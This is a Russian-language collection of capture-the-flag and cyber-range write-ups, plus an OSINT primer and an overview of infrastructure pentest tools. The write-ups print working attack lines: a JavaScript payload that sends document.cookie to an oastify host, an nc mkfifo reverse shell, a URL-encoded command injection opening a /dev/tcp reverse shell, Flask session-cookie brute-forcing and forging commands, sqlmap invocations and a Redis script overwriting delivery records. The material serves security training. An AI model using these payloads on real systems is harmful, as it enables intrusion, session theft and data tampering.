В задании нам даются все файлы приложения и возможность создать себе инстанс для решения (в рамках статьи решать будем на локальном инстансе).

Бегло пробежавшись по исходным файлам, мы подметили наличие скрипта bot.js, ненавязчиво намекающего, что у нас тут какой-то client-side.

В остальном ничего интересного мы не нашли и отправились изучать веб-интерфейс приложения. А там у нас ничто иное как конструктор веб-сайтов с поддержкой Markdown и возможностью создавать страницы.

Немного поигравшись с MD мы пришли к тому, что в никакой уязвимости в явном виде мы здесь не найдем и отправились копать глубже.

Мы начали с изучения веб-технологий, используемых веб-сайтом с в глаза сразу же бросилась библиотека jQuery версии 2.2.4 (актуальная версия – 3.7.1). Интересно.

Справка: jQuery — это быстрая, небольшая и функциональная JavaScript библиотека, которая упрощает работу с HTML-документами, обработку событий, анимацию и взаимодействие с AJAX. Она позволяет разработчикам писать меньше кода для выполнения сложных задач и обеспечивает кроссбраузерную совместимость.

Немного погуглив, мы нашли весьма интересную уязвимость, подходящую для нашей ситуации – CVE-2015-9251

Справка: CVE-2015-9251 — это уязвимость в библиотеке jQuery, которая может привести к выполнению произвольного кода через уязвимые версии jQuery при использовании метода $.ajax(). Эта уязвимость возникает из-за недостаточной проверки входных данных, что позволяет злоумышленнику манипулировать запросами и получать доступ к конфиденциальной информации или выполнять нежелательные действия на стороне клиента.

Окей, нашли уязвимость, как ее теперь применить? Описание уязвимости гласит о неком cross-domain Ajax request, поэтому и думать пришлось в сторону него:

Небольшой ресерч позволил нам обнаружить, что при запросе вида http://base_url//example.com браузер посредством Ajax-запроса будет безуспешно пытаться запросить какой-то .json с example.com:

А при помощи Burp Collaborator мы убедились, что запросы действительно летят на подконтрольный нам сервер:

И вновь за каким-то .json

Собственно, вот и есть тот самый cross-domain Ajax request. Осталось дело за малым – дать ему то, что он хочет.

Для начала мы решили попробовать стандартную нагрузку для cookie hijacking:

document.location="https://uec4rpqgcs5dryq81ng1xqf990fs3ir7.oastify.com/?cookie="+document.cookie

Спойлер: её оказалось достаточно. Нагрузку записали её в файл data.js.

Далее нами был поднят простенький FastAPI-сервер, который в ответ на запрос по нужному нам маршруту возвращал содержимое файла data.js – нашу полезную нагрузку:

from fastapi import FastAPI
from fastapi.responses import Response
import uvicorn
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()



app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)


@app.get("/data.js.json")
def route():
    return Response(content=open('data.js').read(), media_type="application/javascript")


uvicorn.run(app, host="0.0.0.0", port=19000)

Теперь, при обращении по адресу http://base_url//evil.com/data.js на наш FastAPI-севрер прилетает запрос на путь /data.js.json, тот самый, который мы описали в его логике:

В ответ на что наш FastAPI заботливо возвращает XSS payload с заголовком content-type: application/javascript

А на Collaborator прилетел запрос с нашими собственными cookie – трюк удался:

Осталось лишь дождаться, когда админ подарит нам свою куку, внутри нее и будет ответ к заданию.

Заключение

Несмотря на то, что выше описанное не выглядит чрезвычайно сложным, jQuery уязвимости в подобных заданиях встречаются нечасто и в результате таск провисел с нашим единственным решением почти 4 часа, прежде чем на него поступил второй солв. Такие дела.

Вступление

Всем привет!

Подвезли вам вторую часть разбора рисков с сегмента Standalone — самое лакомое, сложное и интересное. Сегодня без долгих вступлений =)

1. Кража новой технологии для генерации электроэнергии

В первой части разбора мы провели первичную разведку и получили информацию о списке хостов в сети, среди них был хост corp-wiki.standalone.stf – наша сегодняшняя жертва.

По результатам сканирования на данном хосте были обнаружены порты 80, 8082, и 3306 – MySQL, запомним это и отправимся изучать веб.

Встречает нас лендинг корпоративной вики:

В статьях ничего особо полезного нет, за исключением имени пользователя – emivil

Так же на ресурсе доступна функция логина и регистрации, однако для регистрации пользователя необходим код приглашения, которого у нас нет. Однако нам удалось сбрутить пароль пользователя emiwil:

Попадаем в систему под пользователем emivil и начинаем внимательно изучать список доступных нам статей, среди которых находим следующее:

Итак, есть некий пользователь roblee с паролем ;;48~Various~Boat~Cold~97;;

Пользователь жалуется, что не может получить доступ ни к какому ресурсу, кроме вики и базы данных. Вспоминаемпро порт 3306 и мчим туда:

mysql -h 10.124.249.9 -P 3306 -u roblee -p

Получаем доступ к базе данных и видим список таблиц:

Вставим сюда свой пригласительный код:

INSERT INTO wiki.codes (code) VALUE ('collapsz_g0dl1ke_c0d3');

И регистрируем нового пользователя, указывая вставленный в базу код:

В профиле находим функции смены ника, слогана и аватарки:

Через смену аватарки реализуем ssrf:

Сдаем SSRF-флаг, но недопустимое событие мы все еще не реализовали. Среди статей была парочка, где автором был указан admin – его учетку мы и хотим получить. Вернемся к статьям, доступным emivil и обнаружим там это:

Некий баг на неком http://searchserver:8000/api/data

Снова возвращаемся к смене аватарки. Отправив запрос на ресурс выше видим выхлоп:

Немного поигравшись с URL запроса получаем знакомую ошибку:

sqlmap моментально убивал тачку, поэтому эту скулю пришлось крутить ручками:

Авторизуемся с найденным паролем и среди статей админа находим ту самую с секретной формулой, что и требовалось в риске:

2. Нарушение работы службы доставки (подмена адреса и данных получателя)

Это. Было. Долго. Кто понял, тот понял =) Помчали поползли. В данном риске было необходимо подменить адреса и данные получателя посылки

На 80 порту хоста нас встречает веб-сайт, позволяющий регистрироваться, логиниться, и создавать новые посылки.

Базовые проверки на уязвимости успеха не принесли, все работало как надо

Немного поковырявшись, мы смогли вызвать 500 ошибку на странице логина:

Далее дело техники – сохраняем запрос и скармливаем его в sqlmap:

sqlmap -r fastship.req --level 3 --flush-session --batch

sqlmap определил СУБД posgresql:

SQL-инъекция оказалась time-based, поэтому, несмотря на --threads 10, ждать пришлось очень, очень долго. И самое веселое – ничего полезного мы так и не сдампили. Зато спустя n часов смогли получить shell. Через time-based в PostgreSQL, да...было долго.

Далее при помощи netcat нагрузки получили стабильный реверс-шелл и закрепились в системе с использованием meterpreter и sliver:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f

В ходе перечисления ресурсов системы мы нашли креды админа базы данных PostgreSQL, однако замена всех необходимых ячеек не привела к реализации НС – пришлось копать глубже.

При помощи скрипта subf.sh (скрипт для брутфорса паролей учетных записей *nix) мы сбрутили пароль пользователя fastship и пароль пользователя root:

После чего получили доступ к сурс-файлам веб-сайта и поняли, что в качестве базы данных используется не PosgreSQL, а Redis:

Спустя некоторое время мы написали скрипт, заменяющий все нужные нам ключи (их там было очень, очень много) на нужные нам значения:

import redis
import time
from concurrent.futures import ThreadPoolExecutor

def update_recipient(key):
    try:
        package = r.hgetall(key)
        updates = []
        
        if (b'recipient' in package and package[b'recipient'] != b'stf_xakep'):
            updates.append(('recipient', 'stf_xakep'))
        
        if (b'recipient_address' in package and package[b'recipient_address'] != b'stf_recipient'):
            updates.append(('recipient_address', 'stf_recipient'))

        if updates:
            for field, value in updates:
                r.hset(key, field, value)
            return key.decode('utf-8')
        else:
            return None 

    except redis.RedisError as e:
        print(f"Ошибка при обновлении {key.decode('utf-8')}: {e}")
        return None

try:
    r = redis.StrictRedis(host='127.0.0.1', port=6379, password='material-deny-infect-dully-praline-froufrou')
    r.ping()
except redis.ConnectionError as e:
    print(f"Ошибка подключения к Redis: {e}")
    exit(1)

start_time = time.time()

keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match='*', count=1000)
        keys.extend(batch_keys)
        print(f"Получено {len(batch_keys)} ключей")
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f"Ошибка при получении ключей: {e}")
    exit(1)

updated_keys = []
with ThreadPoolExecutor(max_workers=10) as executor: 
    results = list(executor.map(update_recipient, keys))
    updated_keys = [key for key in results if key is not None]  


new_keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match='*', count=1000)
        new_keys.extend(batch_keys)
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f"Ошибка при проверке новых ключей: {e}")
    exit(1)


new_key_count = len(new_keys)
end_time = time.time()

print(f"Обновление завершено за {end_time - start_time:.2f} секунд.")
print(f"Количество обновленных ключей: {len(updated_keys)}")
print(f"Количество новых ключей: {new_key_count}")

В результате работы скрипта все значения recipient и recipient_address были заменены на нужные нам значения. Недопустимое событие было реализовано.

3. Компрометация алгоритмов работы онлайн-казино

Самое лакомое на сегодня – казино. Название риска говорит само за себя – нужно любыми способами обмануть эту ракетку и выиграть у дилера.

На самом сайте ничего особо интересного нет:

Однако попытка просмотреть карты в новой вкладке открыла для нас интересный URL-запрос:

И мы не прогадали:

Сдаем LFI-флаг и идем дальше, однако что нам может дать LFI в риске, где нужно скомпрометировать алгоритм работы казино?

Все запросы летят в json, где-то же этот json должен обрабатываться, так?

При помощи Burp Intruder мы проверили /proc/FUZZ/cmdline, откуда получили информацию о запущенном /opt/casino/server

По заголовку становится ясно, что это какой-то бинарь

Качаем его себе и ужасаемся:

Прежде чем реверсить бинарь я предпринял отчаянную попытку выиграть в 21 в честную. Да, было. Да, отчаянно.

Спустя 3 часа игры через разные стратегии я выявил закономерность:

иногда, после того, как в игре побывает примерно 400-420 карт, дилер ошибается и набирает более, чем 21 очко, что приводит к его проигрышу. И происходит это стабильно в районе ~400 карт.

Таким образом в голове зародилась мысль о том, какая уязвимость логики может быть в данном риске: в момент начала игры дилер инициализирует колоду карт если карты в ней вдруг заканчиваются, алгоритм отрабатывает неправильно и дилер набирает более, чем 21 очко.

Наличие такого вектора в голове сильно упростило дальнейший реверс. Что нам дал бинарь:

• При запуске он стартует HTTP-сервер и слушает входящие соединения самого на порту 3410 (API самого казино), общение с которым происходит посредством отправки данных в формате JSON

• При поступлении запроса на начало новой игры, создается сессия и ей присваивает определенный uuid
• После этого инициализируются колода карт из трех наборов
• Набор номер 1: ThreeSevenEightQueenClubsFourFiveNineJackKingFiveNineJackKingSixSixAce
• Набор номер 2: SevenEightQueenClubsEightQueenClubsNineJackKingTenTenAce
• Набор номер 3:
  JackKingQueenClubsKingAceTwoTwoAce

• После того как колода карт заканчивается, дилер начинает брать карты из нее заново, начиная с первого набора

Далее опытным путем (на этот раз при помощи автоматизации на Python) было найдено точное количество карт, после которого дилер обращается к первому набору из колоды – 416.

Я уверен, что это можно найти и в самом бинаре, но реверс GoLang есть реверс GoLang и чем его меньше, тем лучше =)

В результате полученной информации и выявленной уязвимости была выработана стратегия: маленькими ставками опустошить колоду, довести ее до уязвимого состояния и следом сделать большую ставку с расчетом на ошибку в алгоритме.

Код будет работать рекурсивно, в случае неудачи будет начинать новую игру и так вплоть до победного.

Спустя несколько итераций код выведет game_id выигранной сессии, что сигнализирует нам о успешно реализованном недопустимом событии.

Отправив запрос с нашим gid по адресу {BASE_URL}/games/{gid}/flag, проходим проверки и получаем флаг для реализации недопустимого события:

После чего сдаем эту красоту:

Заключение

Собственно, на этом и заканчивается наше приключение в сегменте Standalone. Было круто, было сложно, было интересно.

С нетерпением ждем финалы! Всем меньше реверса голенга и удачи, спасибо за внимание =)

Вступление

Всем привет!
Сегодня закончились отборочные на Международные игры по кибербезопасности, финал которых пройдет 30-31 октября. По результатам соревнований нам удалось войти в число команд, реализовавших все недопустимые события и уязвимости, заложенные на полигоне.

И пока мы усердно готовимся к финалу, предлагаю вашему первую часть разбора реализованных нами недопустимых событий. Приятного прочтения!

Разведка

В начале соревнований нам был предоставлен скоуп — диапазон адресов с которыми мы можем работать. Начинается все со сканирования — первым делом мы провели icmp-сканирование с целью выявить "живые" хосты в рамках скоупа:

nmap -sn 10.124.249.0/27 -oN active_hosts

После чего запустили агрессивное сканирование хостов внешнего периметра:

nmap -A -iL active_hosts -oN external_scan

В результате получили следующую табличку:

1. Дефейс информационного портала

Нашей первой жертвой стал портал city.standalone.stf с задачей выполнить дефейс – несанкционированное изменение главной страницы сайта.

Сканирование показало открытый 80 порт, на котором нас ждал лендинг:

В сурс коде мы нашли информацию об используемом Bludut-3.9.2:

Да, да..

Далее мы воспользовались фреймворком Metasploit и получили удаленное выполнение кода на сервере:

Чуть позднее обнаружили cap на python3.9 и зарутили тачку:

Ну и, наконец, сам дефейс. Недопустимое событие реализовано.

2. Захват информационного портала

Следующей целью стал портал tube.standalone.stf с задачей запустить на нем вирус-шифровальщик от имени пользователя root:

Сканирование вновь показала открытый 80 порт и мы вновь начали с изучения лендинга:

Беглое изучение сурсов привело нас на путь /api/getDate.php

Любому опытному веберу уже наверняка очевиден вектор – у нас тут RCE на блюдечке:

http://10.124.249.7/api/getTime.php?format=%25B%20%25d%2c%20%25Y%3b%24(id)|echo%20mmxy2159y9%20tgodln8uzu||a%20%23%27%20|%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f10.127.236.244%2f3334%200%3E%261||a%20%23|%22%20|echo%20mmxy2159y9%20tgodln8uzu||a%20%23

После получения реверс-шелла и спустя несколько дней перечисления ресурсов системы нам удалось выполнить повышение привилегий при помощи Looney Tunables, эксплуатирующего уязвимость в загрузчике glibc:

Ну и далее дело оставалось за малым – загрузить и запустить шифровальщик:

3. Несанкционированный доступ к исследовательским данным

Плавно перемещаемся к следующему риску, на этот раз на ресурсе rnd.standalone.stf.

Начинаем вновь в веба:

После регистрации и логина получаем доступ к функционалу смены пароля и недоступную для нас вкладку Researches.

Из интересного – какая-то сессионная кука session:

Которая шустренько сбрутилась по словарю:

┌──(kali㉿kali)-[~/vskb]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie '.eJwdzkGuAjEIANC7dO2iQIHWy0wKlGhMNJnR1c-_uxN3b_n-ypb7Om7l-t4_61K2e5RrIbHZ0dMIQIcnnUKWdBPw7Mg5oy1NNgRV6yQjUebwOTCahkPtylObdkYJGj2gJoNUbxa4gJm6NkgWS4lQx8y1CAgbVvNyRj7H2n8baXopfuy5vV-P9Tx7Bo5VYuLAPkgTA6hXNTPVNtXGucImWv6_AfM-wA.Zu48cQ.PbC6DOitU7WFJg04BWp2vzNavoo' --no-literal-eval
[*] Session decodes to: {'_fresh': True, '_id': '36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc', '_user_id': 647, 'csrf_token': 'b1c206da2928937f2d13807bbb774a7b92172467'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 897024 attemptsyr!
b'key

Далее переподписываем куку с известным нам ключом:

python3 -m flask_unsign --secret 'key' --sign --cookie "{'_fresh': True, '_id': '36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc', '_user_id': 1, 'csrf_token': 'b1c206da2928937f2d13807bbb774a7b92172467'}"

И получаем доступ к панели админа и вкладке Researchers.

В истории версий одной из статьей находим ответ к заданию, тем самым реализуя это недопустимое событие:

4. Утечка конфиденциальной информации

Последним событием в рамках сегодняшней статьи рассмотрим утечку конфиденциальной информации с компьютера финансового директора компании.

Единственное задание на инфраструктуру в рамках данного ивента, приступим =)

Первым делом в ходе разведки мы собрали пару почтовых адресов HR-сотрудников с сайта: s_boyle@hte.stf и o_lara@hte.stf. Затем подготовили и отправили фишинговое письмо с встроенным reverse-shell макросом:

В результате получили реверс-шеллы с обоих хостов:

Далее мы пробросили meterpreter шелл и при помощи mimikatz сдампили пару паролей:

Проверив полученную учетку мы убедились, что нашли админа...

Или нет?

Продолжаем разведку, при помощи утилиты ldapdomaindump мы собрали информацию о хостах в домене:

И открыли для себя наличие трастового домена sun.hte.stf, по этой причине наш админ и не оказался админом на втором хосте:

Путешествуя по хостам, на одном из них была найдена база данных keepass – лакомый кусочек. Мы скрутили его при помощи john the ripper

Внутри нашли пачку паролей, как раз админы домена sun.hte.stf – то что нужно!

Падаем на RDP финансового директора и реализуем недопустимое событие

Заключение

На сегодня это все, в следующем материале разберем оставшиеся 3 недопустимых события – поломаем википедию, курьерскую службу и...казино! До встречи =)

Вступление

Всем привет!

Сегодня в деталях познакомимся с тем, что из себя представляет разведка по открытым источникам – Open Source Intelligence или же просто OSINT. Посмотрим на её CTF проявлениях, поговорим об используемых инструментах и посмотрим, где это может пригодиться в карьере будущего специалиста.

Приятного прочтения!

Что такое OSINT?

Open Source Intelligence (OSINT) — это дисциплина, посвященная сбору и анализу информации из открытых источников, доступных в интернете. Это может охватывать широкий спектр данных, которые можно найти практически в любых уголках сети.

Существуют и другие виды разведки, такие как:

• HUMINT (Human Intelligence) — сбор информации через взаимодействие с людьми, включая беседы, допросы и наблюдение.
• SIGINT (Signal Intelligence) — анализ радиомагнитного излучения для получения разведывательных данных.

Главное отличие OSINT от других способов разведки заключается в том, что вся информация, используемая в этом процессе, доступна общественности. Это делает OSINT уникальным инструментом, позволяющим получать важные сведения без необходимости доступа к закрытым или засекреченным данным.

Почему OSINT так важен и популярен?

На начальных этапах своей карьеры многие даже не задумываются о том, на сколько в современных реалиях распространен, важен и популярен OSINT. Вот некоторые из областей его применения:

1. Бизнес:
• Анализ конкурентной среды, выявление рыночных тенденций и возможностей.
• Оценка репутации бренда через мониторинг отзывов и упоминаний в социальных сетях.
2. Безопасность:
• Выявление угроз, связанных с кибербезопасностью, через анализ открытых данных о потенциальных уязвимостях.
• Мониторинг активностей групп, представляющих риск для информационной безопасности.
3. Правительство:
• Анализ общественного мнения и социальных движений для поддержки принятия политических решений.
• Оценка международной ситуации, включая мониторинг новостей и публикаций из других стран.
4. Журналистика:
• Проверка фактов и получение информации для расследований через открытые источники.
• Сбор контента и мнений для создания объективных новостных материалов.

Из интересных реальных кейсов могу порекомендовать ознакомиться с этим. В данном расследовании показано, как при помощи методов открытой разведки удалось установить точное местоположение главаря банды, разыскиваемого ФБР. Да, и такое бывает – данный тип разведки называется GEOINT.

Инструментарий

Как и многие другие задачи нашей сферы, сбор информации делится на ручной и автоматический. Для каждого из них существует свой набор инструментов.

Ручной поиск

Говоря о ручном поиске, первым делом в голову приходит использование различных поисковых систем, поскольку каждый из ныне существующих поисковиков выдает различные ответы на одинаковые запросы, что зачастую может быть полезным:

Мощнейшим апгрейдом Google является использование Google Dorking — техники, позволяющей с помощью специальных ключей уточнять запрашиваемое содержимое. В рамках другой статьи мы более подробно рассмотрим эту тему, а сейчас приведем небольшой пример.

Запрос следующего вида вернет все индексированные .pdf и .doc файлы со строгим включением "Not for Public Release" и "Confedential", не предназначенные для широкой аудитории:

История помнит реальный кейс, когда через такой подход произошла утечка документов Министерства обороны США.

В качестве помощников для доркинга можно привести инструменты DorkGPT и DorkGenius.

Reverse Image Search

Поиском по картинке сегодня уже никого не удивишь, однако мало кто задумывался, что у этого явления есть свое определение в контексте разведки по открытым источникам.

Это называется Reverse Image Search – процесс поиска информации об изображении, использующий технику CBIR (Content Based Image Retrival). Поисковой движок анализирует содержимое изображения и возвращает наиболее релевантные результаты (работает примерно так же, как полнотекстовый поиск, просто с добавлением распознания изображений).

Из наиболее используемых можно выделить Google Images, Yandex Images, Yahoo Image Search, Baidu Image Search и TinEye.

Автоматизированный поиск

Автоматизированный поиск, как можно догадаться, подразумевает использование утилит для сбора информации.

В качестве примера можно привести следующий набор:

• Maryam – утилита для поиска по имени/никнейму
• Sherlock – утилита для поиска пользователя по никнейму на различных ресурсах
• TheHarvester – утилита для сбора почтовых ящиков, имен, поддменов и тд

Опытный OSINT-аналитик должен обладать навыками как ручного, так и автоматизированного поиска. В одном из следующих материалов, к слову, попробуем написать свой аналог Шерлока ;)

CTF-like пример

Предлагаю ознакомиться с одним из CTF заданий данной категории на примере задачки с codeby.games – Пропавший хост

В контексте задач по открытой разведке может пригодиться любой кусочек информации из описания, поэтому ознакомиться с ним нужно крайне внимательно:

Мы обратились к специалистам по OSINT для определения геолокации IP-адреса, который, как известно, был одним из предыдущих IP-адресов сайта, предположительно связанного с неким виртуальным игровым проектом. Название этого проекта напоминает имя отрицательной корпорации, фигурирующей в одном из сериалов о хакерах. Информация о данном IP-адресе ограничивается лишь нахождением домена на этом IP-адресе в 2017. Ваша цель - определить широту и долготу искомого IP-адреса.

Важные пункты, которые мы можем выделить из этого описания:

• Виртуальный игровой проект
• Сериал о хакерах
• В сериале есть некая "отрицательная" корпорация
• Год нахождения домена на IP-адресе — 2017
• Необходимы широта и долгота адреса

Начать проще всего с перебора сериалов о хакерах:

Следующим шагом является поиск "отрицательной" корпорации. Перебрав парочку сериалов, можно достаточно скоро наткнуться на следующее:

Немного погуглив, узнаем альтернативное "отрицательное" название корпорации – Evil Corp:

Далее возвращаемся к нашему списку: виртуальный игровой проект и 2017 год. Начнем с проекта. Составим запрос по ключевым словам и получим список доменных имен:

Изучив полученные результаты, понимаем, что под описание игрового проекта отлично подходит домен evilcorpgame.com. Следующим шагом найдем нужный IP-адрес: мы знаем, что хост висел на нем в 2017 году.

Воспользуемся сервисом viewdns.info:

Видим список IP-адресов, один из которых как раз датируется 2017 годом. Имея на руках этот адрес, можем установить его геолокацию при помощи, например, maximind.com:

Полученные координаты и сдаем в качестве ответа к заданию.

Заключение

На этой прекрасной ноте заканчивается наша ознакомительная статья. Умение хорошо пользоваться Гуглом может пригодиться как в карьере, так и в учебе или повседневной жизни. Поэтому даже если вы не планируете строить карьеру OSINT-аналитика, имеет смысл выделить время на изучение базовых аспектов этого ремесла – лишним оно точно не будет =)

Инфра тема, гораздо интереснее вэбчика
@cherepawwka

Вступление

Всем привет! Вы не забыли и не дали мне слиться, а потому представляю вашему вниманию чтиво по базовому инструментарию для атак на инфраструктуру=) Сразу условлюсь, что данный материал направлен на тех, кому предстоит столкнуться с инфрой впервые, если же вам уже доводилось её ломать, многое из описанного будет вам уже знакомо. Приятного прочтения!

Начнем с утилит для проведения самого первого этапа – разведки.

NMAP

В представлении не нуждается. Официальный сайт – nmap.org. Классический сканер, имеющий огромное количество техник сканирования, скриптов и модулей. Поиск хостов в подсети, сканирование сервисов и их версий, определение версии OS, брутфорс учетных записей и еще многое-многое другое – это то, что может предоставить nmap.

Rustscan

Одна из лучших альтернатив для nmap – Rustscan. Сверхбыстрый сканер портов, написанный на Rust. Сканирует все 65к портов за считанные секунды, легко устанавливается и поддерживает скрипты nmap'а

Почта

На этапе разведки бывает важно собрать все почтовые адреса, расположенные в зоне скоупа. Можно пользоваться автоматизированными утилитами, например, theHarvester, однако в контексте студенческой битвы будет достаточно внимательно изучить ресурс и найти на нем 2-3 почтовых ящика.

Metasploit Framework

MSF – мощнейшая утилита для создания и отладки эксплоитов, предустановленная в Kali Linux.

Основные компоненты:

1. Metasploit Framework: Основной компонент, предоставляющий структуру и инструменты для проведения атак.
2. Metasploit Database: Содержит информацию об уязвимостях, эксплойтах, модулях и целевых системах.
3. Metasploit Console: Интерактивный интерфейс для управления фреймворком и выполнения задач.
4. Metasploit Modules: Разнообразные модули, разделенные на категории: exploits, payloads, auxiliary, post-exploitation, encoders.

Поддерживает создание полезной нагрузки для получения более функционального reverse-shell соединения, умеет эксплуатировать некоторые уязвимости в автоматическом режиме, умеет готовить эксплоиты для запуска на атакуемой машине и еще многое, многое другое! Функционал фреймворка настолько обширен, что он просто-напросто обязателен к изучению.

Impacket

Python Impacket – набор классов для работы с сетевыми протоколами

Установка:

sudo apt install python3-impacket

Impacket это мощный инструмент для тестирования на проникновение, предоставляющий широкие возможности для взаимодействия с сетевыми протоколами и службами. В потенциальные возможности Impacket входят:

1. Сканирование и перечисление
2. Эксплуатация уязвимостей
3. Пост-эксплуатация

Из всех функций импакета могу выделить следующие наиболее используемые модули:

1. impacket-GetUserSPNs – позволяет запросить Service Ticket для учетной записи, обладающей SPN (service principal name) и взломать его с целью получения пароля. Данная атака называется Kerberoasting
2. impacket-GetNPUsers – позволяет запросить доменных пользователей с отключенной преаутентификацией и запросить TGT на их имя без пароля, после чего можно попытаться взломать сессионный ключ, отправленный с тикетом и получить пароль пользователя. Данная атака называется AS-REP-Roasting
3. impacket-psexec – позволяет запускать процессы на удаленных системах
4. impacket-smbclient – позволяет взимодействовать с SMB сервером
5. impacket-getTGT – позволяет запросить TGT тикет, имея на руках Kerberos ключ или NTLM хеш
6. impacket-getST – позволяет запросить service ticket
7. impacket-wmiexec – позволяет подключиться к системе и получить интерактивный шелл при помощи WMI (Windows Management Instrumentation)

Функционал, опять же, настолько обширен, что чтобы набить руку на эту утилиту уйдет достаточно много времени.

Kerbrute

Следующий на очереди инструмент – Kerbrute.

Утилита для быстрого и точного перечисления и брутфорса учетных записей Active Directory, использующая механизм преаутентификации Kerberos.

Установка:

go get github.com/ropnop/kerbrute

Поддерживает атаки: bruteuser, passwordspray, userenum, bruteforce. Особо ничего и не добавишь =)

Crackmapexec

Следующий клиент – crakmapexec.

Утилита так же служит для перечисления и брутфорса учетных записей, но в данном случае работает со следующими протоколами: smb, mssql, win-rm, ldap, rdp, smb, ssh, ftp.

В Kali Linux предустановлена.

NetExec

Еще одно Open-Source решение, следующее поколение crackmapexec – NetExec

Установка:

sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

Утилита поддерживает работу по бОльшему количеству протоколов, поддерживает password spray, user enumeration, command execution, authorization и ряд других функций

ADGenerator

Прежде чем двинемся дальше, представьте, что вы точно знаете имя сотрудника организации, но понятия не имеете, какое имя у его учетной записи. Как быть в таком случае? Как проводить атаки на учетку, имя которой неизвестно? Здесь нас спасает незамысловатый скрипт – ADGenerator.

Он принимает на вход список имен, из которых генерирует список учетных записей, пригодных для перечисления при помощи kerbrute, crackmapexec или netexec и тд

Bloodhound Python

Базирующийся на Импакете харвестер домена – Bloodhound

Установка:

pip install bloodhound

Для чего нужен данный инструмент? Представим, что вы нашли первую валидную пару учетных данных и получили доступ в домен, что дальше? Bloodhound позволяет вам сдампить всю информацию о строении домена – учетные записи, группы, администраторы, политики, взаимосвязи между ними, и представить это в виде графа:

Это мощнейший инструмент для анализа строения атакуемого домена, который так же нередко может помочь с поиском вектора повышения привилегий.

Mimikatz

Mimikatz – утилита для извлечения критических данных (паролей, хешей, учетных записей, токенов доступа и других секретов) из памяти системы. Есть альтернатива, написанная на Python – pypykatz

Mimikatz работает, используя уязвимости в API Windows, чтобы получить доступ к данным, хранящимся в памяти. Методы, используемые mimikatz: Pass-the-Hash, Pass-the-Ticket, Pass-the-Key, Kerberos golden/silver Ticket, Pass-the-Cache.

Учтите, что для полноценной работы mimikatz его необходимо запускать с правами администратора!

John The Ripper && Hashcat

Думаю, эти двое в представлении тоже не нуждаются. Это утилиты для брутфорса различных хешей: первая работает на процессоре, вторая – на видеокарте. В Kali Linux предустановлены.

Как правило, John используется для взлома более простых хешей, hashcat – для более сложных

Responder

Responder - это инструмент для тестирования на проникновение, который используется для перехвата сетевого трафика, сбора учетных данных и как часть цепочки в атаке ntlm-relay.

Как работает Responder:

1. Запуск Responder: Вы запускаете Responder на машине, которая находится между атакуемой системой и сервером, к которому эта система обращается.

2. Перехват трафика: Responder перехватывает сетевой трафик, в том числе запросы аутентификации NTLM (NT LAN Manager).

3. Создание ответов: Когда Responder перехватывает запрос аутентификации NTLM, он создает ложный ответ, имитируя ответ сервера.

4. Сбор учетных данных: Ложный ответ содержит поддельные данные, которые позволяют Responder собрать учетные данные пользователя, в том числе имя пользователя, пароль и хэш NTLM.

5. Атаки типа "Pass-the-Hash": Responder может использовать украденные хэши NTLM для атак типа "Pass-the-Hash". Он может имитировать ответ сервера, используя украденный хэш, чтобы получить доступ к другим ресурсам сети от имени пользователя.

Responder не самая простая в использовании утилита и требует практики.

Эскалация привилегий

В контексте инфраструктуры существует огромное количество способов повышения привилегий, останавливаться на них мы сейчас не будем, но приведу пару утилит, которые могут помочь в поиске вектора эскалации:

1. WinPEAS – Windows Privilege Escalation Amazing Scripts
2. LaZagne – харвестер данных с машины
3. PowerView – набор скриптов для перечисления домена

Pivoting

Пивотинг – техника получения доступа к локальным ресурсам домена, которые не доступны извне. Используя техники пивотинга атакующий как бы делает вид, что находится в одной локальной сети организации. Говоря более техническим языком, техники пивотинга позволяют сделать маршрутизируемым тот трафик, который по умолчанию таковым не является.

Для пивотинга существует целый ряд утилит, вот некоторые из них:

Socat

Утилита, позволяющая переадресовывать сокеты с хостовой машины на клиентскую

Chisel

В простонародье "числа" – утилита для port forwarding. Представим, что вы скомпроментировали хост, на котором обнаружили локально поднятое веб-приложение, недоступное извне. "Числа" имеют два режима работы – клиент и сервер, которые устанавливают между собой соединение и позволяют запускать локальное веб-приложение с атакуемой машины через localhost атакующей машины.

Sshuttle

Open-sourсe прокси для туннелирования трафика.

Ligolo

Одна из лучших утилит для пивотинга, полюбившаяся многим пентестерам

С2 Frameworks

После получения доступа и закрепления в системе, желательно пустить корни еще глубже, чтобы, например, случайное падение сервера или отлетевшая сессия не стали поводом повторять всю атаку заново. Для этого используются Command & Control (C2) фреймворки. Вариантов таких фреймворков уйма – Cobalt Strike, Sliver, Empire и другие, большой список С2 можно найти здесь

Так же эти фреймворки содержат весь необходимый набор утилит для дальнейшего продвижения в инфраструктуре.

Лично мне на данном этапе довелось поработать со sliver и empire – очень крутые бесплатные C2 фреймворки, однако учтите, что работа с С2 впервые требует практики!

Заключение

В данном материале охвачен лишь самый базовый набор инструментов, используемый при работе с инфраструктурой, однако этого набора достаточно, чтобы найти подход и познакомиться с атаками на нее.

Keep researching!